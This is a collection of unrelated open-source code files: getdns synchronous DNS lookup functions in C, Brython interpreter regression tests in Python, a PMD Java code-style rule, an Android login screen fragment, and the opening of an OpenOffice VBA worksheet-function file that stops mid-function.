"general.h" #include "types-internal.h" #include "util-internal.h" #include "dnssec.h" #include "stub.h" #include "gldns/wire2str.h" typedef struct getdns_sync_data { #ifdef HAVE_LIBUNBOUND getdns_eventloop_event ub_event; #endif getdns_context *context; int to_run; getdns_dict *response; } getdns_sync_data; static getdns_return_t getdns_sync_data_init(getdns_context *context, getdns_sync_data *data) { #ifdef HAVE_LIBUNBOUND getdns_eventloop *ext = &context->sync_eventloop.loop; #endif data->context = context; data->to_run = 1; data->response = NULL; #ifdef HAVE_LIBUNBOUND # ifndef USE_WINSOCK data->ub_event.userarg = data->context; data->ub_event.read_cb = _getdns_context_ub_read_cb; data->ub_event.write_cb = NULL; data->ub_event.timeout_cb = NULL; data->ub_event.ev = NULL; # endif # ifdef HAVE_UNBOUND_EVENT_API if (_getdns_ub_loop_enabled(&context->ub_loop)) { context->ub_loop.extension = ext; } else # endif # ifndef USE_WINSOCK return ext->vmt->schedule(ext, ub_fd(context->unbound_ctx), TIMEOUT_FOREVER, &data->ub_event); # else /* No sync full recursion requests on windows without * UNBOUND_EVENT_API because ub_fd() doesn't work on windows. */ # ifdef HAVE_UNBOUND_EVENT_API { ; } /* pass */ # endif # endif #endif return GETDNS_RETURN_GOOD; } static void getdns_sync_data_cleanup(getdns_sync_data *data) { size_t i; getdns_context *ctxt = data->context; getdns_upstream *upstream; #if defined(HAVE_LIBUNBOUND) && !defined(USE_WINSOCK) # ifdef HAVE_UNBOUND_EVENT_API if (_getdns_ub_loop_enabled(&data->context->ub_loop)) { data->context->ub_loop.extension = data->context->extension; } else # endif data->context->sync_eventloop.loop.vmt->clear( &data->context->sync_eventloop.loop, &data->ub_event); #endif /* If statefull upstream have events scheduled against the sync loop, * reschedule against the async loop. */ if (!ctxt->upstreams) ; /* pass */ else for (i = 0; i < ctxt->upstreams->count; i++) { upstream = &ctxt->upstreams->upstreams[i]; if (upstream->loop != &data->context->sync_eventloop.loop) continue; GETDNS_CLEAR_EVENT(upstream->loop, &upstream->event); if (upstream->event.timeout_cb && ( upstream->conn_state != GETDNS_CONN_OPEN || upstream->keepalive_timeout == 0)) { (*upstream->event.timeout_cb)(upstream->event.userarg); upstream->event.timeout_cb = NULL; } upstream->loop = data->context->extension; upstream->is_sync_loop = 0; if ( upstream->event.read_cb || upstream->event.write_cb || upstream->event.timeout_cb) { GETDNS_SCHEDULE_EVENT(upstream->loop, ( upstream->event.read_cb || upstream->event.write_cb ? upstream->fd : -1), ( upstream->event.timeout_cb ? upstream->keepalive_timeout : TIMEOUT_FOREVER ), &upstream->event); } } } static void getdns_sync_loop_run(getdns_sync_data *data) { while (data->to_run) data->context->sync_eventloop.loop.vmt->run_once( &data->context->sync_eventloop.loop, 1); } static void getdns_sync_cb(getdns_context *context, getdns_callback_type_t callback_type, getdns_dict *response, void *userarg, getdns_transaction_t transaction_id) { getdns_sync_data *data = (getdns_sync_data *)userarg; (void)context; (void)callback_type; /* unused parameters */ (void)transaction_id; /* unused parameter */ assert(data); data->response = response; data->to_run = 0; } getdns_return_t getdns_general_sync(getdns_context *context, const char *name, uint16_t request_type, const getdns_dict *extensions, getdns_dict **response) { getdns_sync_data data; getdns_return_t r; if (!context || !name || !response) return GETDNS_RETURN_INVALID_PARAMETER; if ((r = getdns_sync_data_init(context, &data))) return r; if ((r = _getdns_general_loop(context, &context->sync_eventloop.loop, name, request_type, extensions, &data, NULL, getdns_sync_cb, NULL))) { getdns_sync_data_cleanup(&data); return r; } getdns_sync_loop_run(&data); getdns_sync_data_cleanup(&data); return (*response = data.response) ? GETDNS_RETURN_GOOD : GETDNS_RETURN_GENERIC_ERROR; } getdns_return_t getdns_address_sync(getdns_context *context, const char *name, const getdns_dict *extensions, getdns_dict **response) { getdns_sync_data data; getdns_return_t r; if (!context || !name || !response) return GETDNS_RETURN_INVALID_PARAMETER; if ((r = getdns_sync_data_init(context, &data))) return r; if ((r = _getdns_address_loop(context, &context->sync_eventloop.loop, name, extensions, &data, NULL, getdns_sync_cb))) { getdns_sync_data_cleanup(&data); return r; } getdns_sync_loop_run(&data); getdns_sync_data_cleanup(&data); return (*response = data.response) ? GETDNS_RETURN_GOOD : GETDNS_RETURN_GENERIC_ERROR; } getdns_return_t getdns_hostname_sync(getdns_context *context, const getdns_dict *address, const getdns_dict *extensions, getdns_dict **response) { getdns_sync_data data; getdns_return_t r; if (!context || !address || !response) return GETDNS_RETURN_INVALID_PARAMETER; if ((r = getdns_sync_data_init(context, &data))) return r; if ((r = _getdns_hostname_loop(context, &context->sync_eventloop.loop, address, extensions, &data, NULL, getdns_sync_cb))) { getdns_sync_data_cleanup(&data); return r; } getdns_sync_loop_run(&data); getdns_sync_data_cleanup(&data); return (*response = data.response) ? GETDNS_RETURN_GOOD : GETDNS_RETURN_GENERIC_ERROR; } getdns_return_t getdns_service_sync(getdns_context *context, const char *name, const getdns_dict *extensions, getdns_dict **response) { getdns_sync_data data; getdns_return_t r; if (!context || !name || !response) return GETDNS_RETURN_INVALID_PARAMETER; if ((r = getdns_sync_data_init(context, &data))) return r; if ((r = _getdns_service_loop(context, &context->sync_eventloop.loop, name, extensions, &data, NULL, getdns_sync_cb))) { getdns_sync_data_cleanup(&data); return r; } getdns_sync_loop_run(&data); getdns_sync_data_cleanup(&data); return (*response = data.response) ? GETDNS_RETURN_GOOD : GETDNS_RETURN_GENERIC_ERROR; } /* getdns_core_sync.c */
3,131
5,926
<reponame>raspberrypieman/brython<filename>www/tests/issues_bb.py # issue 3 matrix = ['%s%d'%(a,n) for a in 'abc' for n in [1, 2, 3]] assert 'a1' in matrix # issue 5 range_tuple = tuple(range(7)) assert range_tuple == (0, 1, 2, 3, 4, 5, 6) # issue 6 map_tuples = zip( 'abc', [1, 2, 3]) map_array = ['%s%d'%(l, n) for l, n in map_tuples if '%s%d'%(l, n) in 'a1b2'] assert 'a1' in map_array, 'incorrect tuple %s' % map_array # issue 7 def fail_local(): local_abc = 'abc' letnum = [[letter + str(num) for letter in local_abc] for num in range(3)] return letnum local_fail = fail_local() assert ['a0', 'b0', 'c0'] in local_fail, 'failed local %s' % local_fail def fail_local1(): local_abc = 'abc' letnum = dict((num, [letter + str(num) for letter in local_abc]) \ for num in range(3)) return letnum fail_local1() # issue 14 a = {1: 1, 2: 4} assert a.pop(1) == 1, 'Error in pop' assert a == {2: 4} # issue 15 def no_lambda(fail_arg): lbd = lambda arg= fail_arg: arg return [i for i in lbd()] assert no_lambda([1, 2]) == [1, 2], 'Fail lambda namespace' # issue 16 class Noeq: def __init__(self,oid): self.oid = oid ne1, ne2 = Noeq(0),Noeq(1) fail_rmv = [ne1, ne2] fail_rmv.remove(ne1) assert fail_rmv == [ne2], 'Fail remove obj from list' # issue 17 class No_dic_comp: def __init__(self,oid): self.oid = oid self.ldic = {i: self.oid for i in 'ab'} ndc = No_dic_comp(0) assert ndc.ldic['a'] == 0, ne1 # issue 18 class Base: pass class No_inherit(Base): def __init__(self,oid,ab): self.oid , self.ab = oid, ab ndc = No_inherit(0,'ab') assert isinstance(ndc, No_inherit), 'Not instance %s' % ndc assert ndc.oid == 0, ndc.oid # issue 19 class No_static: OBJID = 0 def __init__(self,oid): self.oid = oid self.gid = No_static.OBJID No_static.OBJID += 1 gids = (No_static(0).gid, No_static(1).gid) assert gids == (0, 1), 'Fail incrementing static (%d,%d)' % gids # issue 20 assert 'fail slice string!'[5:-1] == 'slice string', \ 'Failure in string slicing' # issue 21 _s = ' abc ' assert _s.rjust(15, 'b') == 'bbbbbb abc ' # issue 23 : json import json original = [[1,1],{'1':1}] pyjson = str(original).replace("'",'"').replace(' ','') jsoned=json.dumps(original).replace(' ','') pythoned=json.loads(jsoned) assert original == pythoned, 'python %s is not json %s'%(original, pythoned) assert jsoned == pyjson, 'json %s is not python %s'%(jsoned, pyjson) x = """{ "menu": { "id": "file", "value": "File", "popup": { "menuitem": [ { "value": "New", "onclick": "CreateNewDoc()" }, { "value": "Open", "onclick": "OpenDoc()" }, { "value": "Close", "onclick": "CloseDoc()" } ] } } }""" y = json.loads(x) assert y["menu"]["value"] == "File" assert y["menu"]["popup"]["menuitem"][1]["value"] == "Open" # issue 24 import math eval_zero = eval('math.sin(0)') exec('exec_zero=math.sin(0)') assert eval_zero == exec_zero, \ 'no math in exe or eval for sin(0) = %f' % math.sin(0) # issue 29 eval_zero = eval('math.sin(%d)' % 0) #eval_zero = 0 exec('exec_zero=math.sin(%d)' % 0) assert eval_zero == exec_zero, \ ' exe or eval for fails string subs = %f' % math.sin(0) # issue 30 def delete(delete): return delete class Delete: def delete(self): delete = 0 return delete delete = delete(Delete().delete()) assert delete == 0, 'name delete cannot be used %s' % delete # issue 31 SEED = 0 class Base: def __init__(self): global SEED self.value = SEED = SEED + 1 class Inherit(Base): def __init__(self): global SEED self.value = SEED = SEED + 1 one = (Inherit().value) assert one == 1, 'Init recursed: %d' % one #issue 43 class myclass: @property def getx(self): return 5 c = myclass() assert c.getx == 5 #issue 45 assert 2 ** 2 == 4 assert 2.0 ** 2 == 4.0 assert 2 ** 2.0 == 4.0 assert 2.0 ** 2.0 == 4.0 #also do 3**2 since 2**2 == 2*2 assert 3 ** 2 == 9 assert 3.0 ** 2 == 9.0 assert 3 ** 2.0 == 9.0 assert 3.0 ** 2.0 == 9.0 # issue 55 assert 1 <= 3 <= 5 assert not 1 <= (3 + 3) <= 5 # issue 70 class Dummy: def __init__(self, foo): self.foo = foo dummy = Dummy(3) assert -dummy.foo == -3 # issue 71 def rect(x, y, width, height): pass assert [rect(x=0, y=0, width=10, height=10) for i in range(2)], \ 'error in list' # issue 75 assert {0: 42}[0] == 42 # issue 80 def twice(n): yield n yield n f = twice(2) assert next(f) == 2 assert next(f) == 2 # issue #81 class foo: def __init__(self, x): self.x = x def __ior__(self, z): self.x = 33 return self def __str__(self): return self.x X = foo(4) X |= 1 assert X.x == 33 # issue 85 try: exec("def foo(x, x, x=1, x=2):\n pass") # -> does not raise SyntaxError raise Exception('should have raised SyntaxError') except SyntaxError: pass def foo(x, y, verbose=False): pass try: foo(1, 2, 3, verbose=True) raise Exception('should have raised TypeError') except TypeError: pass try: eval("foo(1, 2, 3, verbose=True, verbose=False)") raise Exception('should have raised SyntaxError') except SyntaxError: pass # issue #86 def foo(x, *args, verbose=False): assert locals() == {'verbose': False, 'x': 1, 'args': (2,)} foo(1, 2) # issue #87 def foo(*args): assert isinstance(args,tuple) foo(1, 2) # issue 95 : trailing comma in dict or set literals a = {1, 2,} assert a == {1, 2} b = {'a': 1, 'b': 2,} assert b == {'a': 1, 'b': 2} #issue 101 - new style classes are the default class MyClass(object): def __init__(self, s): self.string = s class MyClass1: def __init__(self, s): self.string = s _m = MyClass("abc") _m1 = MyClass1("abc") #assert dir(_m) == dir(_m1) <=== fix me, these should be equal assert _m.string == _m1.string # issue 112 x = 0 class foo: y = 1 z = [x, y] assert foo().z == [0, 1] #issue 114 import random _a = random.randrange(10) assert 0 <= _a < 10 _a = random.randrange(1, 10) assert 1 <= _a < 10 _a = random.randrange(1, 10, 2) assert _a in (1, 3, 5, 7, 9) # issue 118 assert 1.27e+5 == 127000.0 assert 1.27E+5 == 127000.0 assert 1.27e+5 == 127000.0 assert 1.27E5 == 127000.0 # issue 122 class Cl(object): def __init__(self): self._x = None @property def x(self): return self._x @x.setter def x(self, value): self._x = value my_cl = Cl my_cl.x = 123 assert my_cl.x == 123 # issue 125 a = [1, 2] a.clear() assert a == [] a = [3, 6, 'a'] c = a b = a.copy() assert b == a b.append(4) a.append(99) assert b != a assert c == a # issue 126 assert ''' \'inner quote\'''', 'fails inner quote' assert " \'inner quote\'", 'fails inner quote' assert ' \'inner quote\'', 'fails inner quote' assert """ \"inner quote\"""", 'fails inner quote' assert " \"inner quote\"", 'fails inner quote' # issue 128 LIST = [] class Parent: def __init__(self): self.level = self.get_level() self.inherited() def get_level(self): return 0 def inherited(self): self.override() return self def override(self): LIST.append((self, self.level)) return self class Child(Parent): def get_level(self): return 1 def override(self): LIST.append((self, self.level)) return self class Sibling(Parent): def __init__(self): self.level = self.get_level() Parent.__init__(self) def get_level(self): return 1 def override(self): LIST.append((self, self.level)) return self parent = Parent() #assert str(parent)=='<Parent object>',str(parent) child = Child() #assert str(child)=='<Child object>' sibil = Sibling() #assert str(sibil)== '<Sibling object>' given = sibil.override() assert sibil.level == 1 assert given.level == 1 assert [l[1] for l in LIST] == [0, 1, 1, 1] assert parent == parent.override() assert sibil == given # issue 129 def rect(x, y, width, height): pass def comp(x, y, width, height): return[rect(x=x, y=y, width=10, height=10) for i in range(2)] assert comp(1, 2, 3, 4), 'error in list' # issue 132 a = 1 if a is not None and not isinstance(a, int): raise AssertionError # issue 134 run_else = False for i in range(4): pass else: run_else = True assert run_else run_else = False assert not run_else for i in range(10): if i > 7: break else: run_else = True assert not run_else run_else = False n = 10 while n > 5: n -= 1 else: run_else = True assert run_else # issue 135 assert pow(*(2, 3)) == 8 assert pow(*(2, -3)) == 0.125 assert pow(*(-2, 3)) == -8 assert pow(*(-2, -3)) == -0.125 # issue 137 assert int('-10') == -10 # issue 139 try: d = [] d[3] except (IndexError, TypeError) as err: pass # just check that there is no SyntaxError # issue 157 : check that the 2nd line doesn't raise a SyntaxError y = 1 a = (1 / 3, -y / 4) # issue 158 class A: def __init__(self,val): self.a = val class B: def __init__(self,val): self.b = val self.c = A(val) b = B(2) #assert str(b)=='<B object>' # issue #166 assert pow(2, 3, 4) == 0 assert pow(2, 3, 3) == 2 try: pow(2.2, 3, 4) raise Exception('should have raised TypeError') except TypeError: pass try: pow('2', 3) raise Exception('should have raised TypeError') except TypeError: pass # issue 170 assert (lambda *args:args)(3, 4, 5) == (3, 4, 5) # issue 173 def gofun(fun): def ifun(): funi = fun return [fun(i) for i in (0,1)] return ifun() def pr(x): return x zero_one = gofun(pr) assert zero_one == [0, 1], 'Expected [0, 1] but got: %s' % zero_one # issue 174 assert '%d' % (1,) == '1' # issue 175 def foo(): pass r = foo() assert r is None # issue 177 class _ParameterKind(int): def __new__(self, *args, name): obj = int.__new__(self, *args) obj._name = name return obj def __str__(self): return self._name def __repr__(self): return '<_ParameterKind: {!r}>'.format(self._name) _POSITIONAL_ONLY = _ParameterKind(0, name='POSITIONAL_ONLY') # issue 198 assert 2 << 16 != 4 assert 2 << 16 == 131072 # issue 208 try: spam = 0 except: spam = 1 else: spam = 2 assert spam == 2 # issue 209 assert "ko" if None else "ok"=="ok" assert ("ko" if None else "ok")=="ok" assert ("ko" if [] else "ok")=="ok" assert ("ko" if {} else "ok")=="ok" assert ("ko" if False else "ok")=="ok" # issue 210 class myRepr: def repr(self, a): return a class myclass: _repr=myRepr() repr= _repr.repr def myfunc(self): return self.repr('test') _m = myclass() assert _m.myfunc() == 'test' # issue 212 class Test: def sound(self, a=""): return "moo: " + a class Test2(Test): def sound(self): return super().sound("apple") assert Test2().sound() == 'moo: apple' # issue 213 import math assert str(math.atan2(0., -0.)).startswith('3.14') # issue 214 n = 0 assert 1 + n if n else 0 == 0 n = 7 assert 1 + n * n if n else 0 == 50 # issue 217 def myfunc(code, code1): code.append('1') code.append('2') code.append('3') a = [] b = 0 myfunc(a, b) assert a == ['1', '2', '3'] # issue 218 _d = { 0: b'a', 1: b'b'} assert [v[0] for v in _d.items()] == [0, 1] # issue 219 y = 3 w = 2 w2 = 1 y, w, w2 = -y, -w, -w2 assert y == -3 assert w == -2 assert w2 == -1 #issue 220 assert '{} {} {}'.format(1, 2, 3) == '1 2 3' # issue 222 atuple = () assert not type(atuple) != type(atuple), "type of tuple is different of itself" # bug in assignment of attributes or subscriptions to exec() or eval() x = {} x['a'] = eval("2") assert x == {'a': 2} # issue 224 assert '{0}, {1}, {2}'.format('a', 'b', 'c') == 'a, b, c' # issue 225 a = dict() a[1, 2] = 3 assert a[1, 2] == 3 # issue 226 b = {-20: -1, -21: 2, 2: 0} # issue 227 b = [((-20, 2), 1), ((-21, 1), 2), ((-2,0), 2)] assert sorted(b) == [((-21, 1), 2), ((-20, 2), 1), ((-2, 0), 2)] # bug in string format assert 'Coordinates: {latitude}, {b}'.format(latitude='2', b='4') == \ 'Coordinates: 2, 4' # check that trailing comma is supported in function calls def foo(a=2,): print(a) # issue 236 : packing a, *b, c = [1, 2, 3, 4, 5] assert a == 1 assert b == [2, 3, 4] assert c == 5 *a, b = [1, 2, 3, 4, 5] assert a == [1, 2, 3, 4] assert b == 5 a, b, *c = [1, 2, 3, 4, 5, 6] assert a == 1 assert b == 2 assert c == [3, 4, 5, 6] # issue 237 res = [] for i in -1, 0, 1: res.append(i) y = 2 for i in -3 * y, 2 * y: res.append(i) assert res == [-1, 0, 1, -6, 4] # issue 238 import operator # example used in the docs inventory = [('apple', 3), ('banana', 2), ('pear', 5), ('orange', 1)] getcount = operator.itemgetter(1) assert list(map(getcount, inventory)) == [3, 2, 5, 1] assert sorted(inventory, key=getcount) == \ [('orange', 1), ('banana', 2), ('apple', 3), ('pear', 5)] # issue 239 assert '' in '' # issue 240 d = dict.fromkeys(['a', 'b'], 3) assert d == {'a': 3, 'b': 3} # augmented assignement in class body class A: x = 8 x += 1 assert A().x == 9 # issue 243 class Dad: @property def prop(self): return 1 @prop.setter def prop(self, val): print(200 + val) x = [] class Son(Dad): @Dad.prop.setter def prop(self, val): x.append(400 +val) son = Son() son.prop = 4 assert x == [404] # issue 247 zlist = [0] assert zlist == [1] or zlist == [0] # issue 264 import itertools assert list(itertools.permutations([1,2,3])) == \ [(1, 2, 3), (1, 3, 2), (2, 1, 3), (2, 3, 1), (3, 1, 2), (3, 2, 1)] # issue 268 from base64 import b64encode, b64decode assert b64encode(b'decode error') == b'ZGVjb2RlIGVycm9y' assert b64decode(b'ZGVjb2RlIGVycm9y') == b'decode error' # issue 272 assert round(-0.9) == -1 # issue 275 text = 'a' assert text.split(';', 1) == ['a'] # issue 276 import re pat = re.compile(r"(\<[a-z0-9A-Z\-]+\>)") s = "this is <fun> is <it> not" result = re.search(pat, s) assert result.groups() == ('<fun>',) # issue 279 # check that this doesn't raise a SyntaxError data = [{'name': 'Data {}'.format(i + 1), # comment 'x': i + 1} for i in range(10)] # x value # issue 282 assert int('1') == 1 assert int(' 1 ') == 1 assert int('1 ') == 1 assert int(' 1') == 1 assert int(1) == 1 assert int(1.1) == 1 assert int('011', 2) == 3 assert int('011', 8) == 9 #issue 283 try: int("") except ValueError: pass try: int(" ") except ValueError: pass #issue 284 class CustomStr(str): pass _a = CustomStr('') assert isinstance(_a, str) # issue 285 class Foo3(int): def __int__(self): return self assert int(Foo3()) == 0 #issue 286 try: float('') except ValueError: pass #issue 287 try: max([]) except ValueError: pass try: max(key = lambda x:x) except TypeError: pass try: max(default = 'k') except TypeError: pass assert max([], default = 'k') == 'k' assert max([1, 2, 3], default = 'k') == 3 try: max(1, 2, 3, default = 'k') except TypeError: pass assert max(1, 2, 3) == 3 assert max([1, 2, 3]) == 3 assert max(1, 2, 3, key = lambda x: -x) == 1 assert max([1, 2, 3], key = lambda x: -x, default = 'k') == 1 assert min(1, 2, 3) == 1 assert min([1, 2, 3]) == 1 assert min(1, 2, 3, key = lambda x: -x) == 3 # issue 288 class CustomStr(str): pass class CustomBytes(bytes): pass class CustomByteArray(bytearray): pass values = [b'100', bytearray(b'100'), CustomStr('100'), CustomBytes(b'100'), CustomByteArray(b'100')] assert str(values)== \ "[b'100', bytearray(b'100'), '100', b'100', bytearray(b'100')]" # issue 294 assert [1][::-1] == [1]
7,004
3,765
<gh_stars>1000+ /** * BSD-style license; for more info see http://pmd.sourceforge.net/license.html */ package net.sourceforge.pmd.lang.java.rule.codestyle; import static net.sourceforge.pmd.properties.PropertyFactory.booleanProperty; import java.util.List; import java.util.Map; import net.sourceforge.pmd.lang.ast.Node; import net.sourceforge.pmd.lang.java.ast.ASTAnnotation; import net.sourceforge.pmd.lang.java.ast.ASTBlockStatement; import net.sourceforge.pmd.lang.java.ast.ASTExpression; import net.sourceforge.pmd.lang.java.ast.ASTMemberSelector; import net.sourceforge.pmd.lang.java.ast.ASTName; import net.sourceforge.pmd.lang.java.ast.ASTPrimaryExpression; import net.sourceforge.pmd.lang.java.ast.ASTPrimarySuffix; import net.sourceforge.pmd.lang.java.ast.ASTReturnStatement; import net.sourceforge.pmd.lang.java.ast.ASTVariableInitializer; import net.sourceforge.pmd.lang.java.ast.AccessNode; import net.sourceforge.pmd.lang.java.rule.AbstractJavaRule; import net.sourceforge.pmd.lang.java.symboltable.VariableNameDeclaration; import net.sourceforge.pmd.lang.symboltable.NameOccurrence; import net.sourceforge.pmd.lang.symboltable.Scope; import net.sourceforge.pmd.properties.PropertyDescriptor; public class UnnecessaryLocalBeforeReturnRule extends AbstractJavaRule { private static final PropertyDescriptor<Boolean> STATEMENT_ORDER_MATTERS = booleanProperty("statementOrderMatters").defaultValue(true).desc("If set to false this rule no longer requires the variable declaration and return statement to be on consecutive lines. Any variable that is used solely in a return statement will be reported.").build(); public UnnecessaryLocalBeforeReturnRule() { definePropertyDescriptor(STATEMENT_ORDER_MATTERS); addRuleChainVisit(ASTReturnStatement.class); } @Override public Object visit(ASTReturnStatement rtn, Object data) { // skip returns of literals ASTName name = rtn.getFirstDescendantOfType(ASTName.class); if (name == null) { return data; } // skip 'complicated' expressions if (rtn.findDescendantsOfType(ASTExpression.class).size() > 1 || rtn.getFirstDescendantOfType(ASTMemberSelector.class) != null || rtn.findDescendantsOfType(ASTPrimaryExpression.class).size() > 1 || isMethodCall(rtn)) { return data; } Map<VariableNameDeclaration, List<NameOccurrence>> vars = name.getScope() .getDeclarations(VariableNameDeclaration.class); for (Map.Entry<VariableNameDeclaration, List<NameOccurrence>> entry : vars.entrySet()) { VariableNameDeclaration variableDeclaration = entry.getKey(); if (variableDeclaration.getDeclaratorId().isFormalParameter()) { continue; } List<NameOccurrence> usages = entry.getValue(); if (usages.size() == 1) { // If there is more than 1 usage, then it's not only returned NameOccurrence occ = usages.get(0); if (occ.getLocation().equals(name) && isNotAnnotated(variableDeclaration)) { String var = name.getImage(); if (var.indexOf('.') != -1) { var = var.substring(0, var.indexOf('.')); } // Is the variable initialized with another member that is later used? if (!isInitDataModifiedAfterInit(variableDeclaration, rtn) && !statementsBeforeReturn(variableDeclaration, rtn)) { addViolation(data, rtn, var); } } } } return data; } private boolean statementsBeforeReturn(VariableNameDeclaration variableDeclaration, ASTReturnStatement returnStatement) { if (!getProperty(STATEMENT_ORDER_MATTERS)) { return false; } ASTBlockStatement declarationStatement = variableDeclaration.getAccessNodeParent().getFirstParentOfType(ASTBlockStatement.class); ASTBlockStatement returnBlockStatement = returnStatement.getFirstParentOfType(ASTBlockStatement.class); // double check: we should now be at the same level in the AST - both block statements are children of the same parent if (declarationStatement.getParent() == returnBlockStatement.getParent()) { return returnBlockStatement.getIndexInParent() - declarationStatement.getIndexInParent() > 1; } return false; } // TODO : should node define isAfter / isBefore helper methods for Nodes? private static boolean isAfter(Node n1, Node n2) { return n1.getBeginLine() > n2.getBeginLine() || n1.getBeginLine() == n2.getBeginLine() && n1.getBeginColumn() >= n2.getEndColumn(); } private boolean isInitDataModifiedAfterInit(final VariableNameDeclaration variableDeclaration, final ASTReturnStatement rtn) { final ASTVariableInitializer initializer = variableDeclaration.getAccessNodeParent() .getFirstDescendantOfType(ASTVariableInitializer.class); if (initializer != null) { // Get the block statements for each, so we can compare apples to apples final ASTBlockStatement initializerStmt = variableDeclaration.getAccessNodeParent() .getFirstParentOfType(ASTBlockStatement.class); final ASTBlockStatement rtnStmt = rtn.getFirstParentOfType(ASTBlockStatement.class); final List<ASTName> referencedNames = initializer.findDescendantsOfType(ASTName.class); for (final ASTName refName : referencedNames) { // TODO : Shouldn't the scope allow us to search for a var name occurrences directly, moving up through parent scopes? Scope scope = refName.getScope(); do { final Map<VariableNameDeclaration, List<NameOccurrence>> declarations = scope .getDeclarations(VariableNameDeclaration.class); for (final Map.Entry<VariableNameDeclaration, List<NameOccurrence>> entry : declarations .entrySet()) { if (entry.getKey().getName().equals(refName.getImage())) { // Variable found! Check usage locations for (final NameOccurrence occ : entry.getValue()) { final ASTBlockStatement location = occ.getLocation().getFirstParentOfType(ASTBlockStatement.class); // Is it used after initializing our "unnecessary" local but before the return statement? if (location != null && isAfter(location, initializerStmt) && isAfter(rtnStmt, location)) { return true; } } return false; } } scope = scope.getParent(); } while (scope != null); } } return false; } private boolean isNotAnnotated(VariableNameDeclaration variableDeclaration) { AccessNode accessNodeParent = variableDeclaration.getAccessNodeParent(); return !accessNodeParent.hasDescendantOfType(ASTAnnotation.class); } /** * Determine if the given return statement has any embedded method calls. * * @param rtn * return statement to analyze * @return true if any method calls are made within the given return */ private boolean isMethodCall(ASTReturnStatement rtn) { List<ASTPrimarySuffix> suffix = rtn.findDescendantsOfType(ASTPrimarySuffix.class); for (ASTPrimarySuffix element : suffix) { if (element.isArguments()) { return true; } } return false; } }
3,282
645
<reponame>sleepingAnt/viewfinder // Copyright 2013 Viewfinder. All rights reserved. // Author: <NAME> package co.viewfinder; import android.app.Activity; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.EditText; import co.viewfinder.widgets.EmailOrMobileEdit; /** * UI used to capture login information from the user. */ public class AuthLoginFragment extends BaseFragment { private OnLoginListener mCallback; private EmailOrMobileEdit mEmailOrMobile; private EditText mPasswordField; public interface OnLoginListener { public void onSwitchToSignup(); public void onLoginAccount(String emailOrMobile, String password); public void onCancelLogin(); public void onForgotPassword(); } @Override public void onAttach(Activity activity) { super.onAttach(activity); mCallback = (OnLoginListener) activity; } @Override public View onCreateView(LayoutInflater inflater, final ViewGroup container, Bundle savedInstanceState) { View view = inflater.inflate(R.layout.auth_login_fragment, container, false); mEmailOrMobile = new EmailOrMobileEdit(view.findViewById(R.id.auth_loginEmailOrMobile)); mPasswordField = (EditText)view.findViewById(R.id.auth_loginPassword); view.findViewById(R.id.auth_signupTabButton).setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { mCallback.onSwitchToSignup(); } }); view.findViewById(R.id.auth_loginCancel).setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { mCallback.onCancelLogin(); } }); view.findViewById(R.id.auth_loginAccount).setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { // Validate input fields. boolean succeeded = InputValidation.setHintIfEmpty(mPasswordField, R.string.auth_passwordRequired); if (mEmailOrMobile.getText().length() == 0) { mEmailOrMobile.setHint(true); succeeded = false; } if (succeeded) { mCallback.onLoginAccount( mEmailOrMobile.getText().toString(), mPasswordField.getText().toString()); } } }); view.findViewById(R.id.auth_forgotPassword).setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { mCallback.onForgotPassword(); } }); return view; } public String getEmailOrMobile() { return mEmailOrMobile.getText().toString(); } public void setEmailOrMobile(CharSequence emailOrMobile) { mEmailOrMobile.setText(emailOrMobile); } public String getPassword() { return mPasswordField.getText().toString(); } public void setPassword(CharSequence password) { mPasswordField.setText(password); } /** * Called by the activity when the auth tabs open or close. */ public void onTabsOpenOrClose(boolean tabsOpen) { // If tabs are open, show the selected login tabs image. If tabs are closed, show the default // tabs image that is clipped so that it won't be mis-drawn when it's partially off-screen. View tabsView = getView().findViewById(R.id.auth_loginTabs); View cardView = getView().findViewById(R.id.auth_loginCard); if (tabsOpen) { cardView.setPadding(0, 0, 0, getResources().getDimensionPixelSize(R.dimen.auth_openTabPadding)); tabsView.setBackgroundResource(R.drawable.tabs_modal_login_selected_android); } else { cardView.setPadding(0, 0, 0, getResources().getDimensionPixelSize(R.dimen.auth_closedTabPadding)); tabsView.setBackgroundResource(R.drawable.tabs_modal_login_default_android); } // Clear any validation error text. mPasswordField.setHint(R.string.auth_password); mEmailOrMobile.setHint(false /* useErrorHint */); } }
1,410
679
<reponame>Grosskopf/openoffice<filename>main/sc/source/ui/vba/vbawsfunction.cxx<gh_stars>100-1000 /************************************************************** * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * *************************************************************/ #include <com/sun/star/beans/XPropertySet.hpp> #include <com/sun/star/table/XCell.hpp> #include <com/sun/star/table/XColumnRowRange.hpp> #include <com/sun/star/beans/XIntrospection.hpp> #include <com/sun/star/beans/XIntrospectionAccess.hpp> #include <com/sun/star/sheet/XFunctionAccess.hpp> #include <com/sun/star/sheet/XCellRangesQuery.hpp> #include <com/sun/star/sheet/XCellRangeAddressable.hpp> #include <com/sun/star/sheet/CellFlags.hpp> #include <com/sun/star/reflection/XIdlMethod.hpp> #include <com/sun/star/beans/MethodConcept.hpp> #include <comphelper/processfactory.hxx> #include <cppuhelper/queryinterface.hxx> #include <comphelper/anytostring.hxx> #include "vbawsfunction.hxx" #include "compiler.hxx" using namespace com::sun::star; using namespace ooo::vba; namespace { void lclConvertDoubleToBoolean( uno::Any& rAny ) { if( rAny.has< double >() ) { double fValue = rAny.get< double >(); if( fValue == 0.0 ) rAny <<= false; else if( fValue == 1.0 ) rAny <<= true; // do nothing for other values or types } } } // namespace ScVbaWSFunction::ScVbaWSFunction( const uno::Reference< XHelperInterface >& xParent, const css::uno::Reference< css::uno::XComponentContext >& xContext ) : ScVbaWSFunction_BASE( xParent, xContext ) { } uno::Reference< beans::XIntrospectionAccess > ScVbaWSFunction::getIntrospection(void) throw(uno::RuntimeException) { return 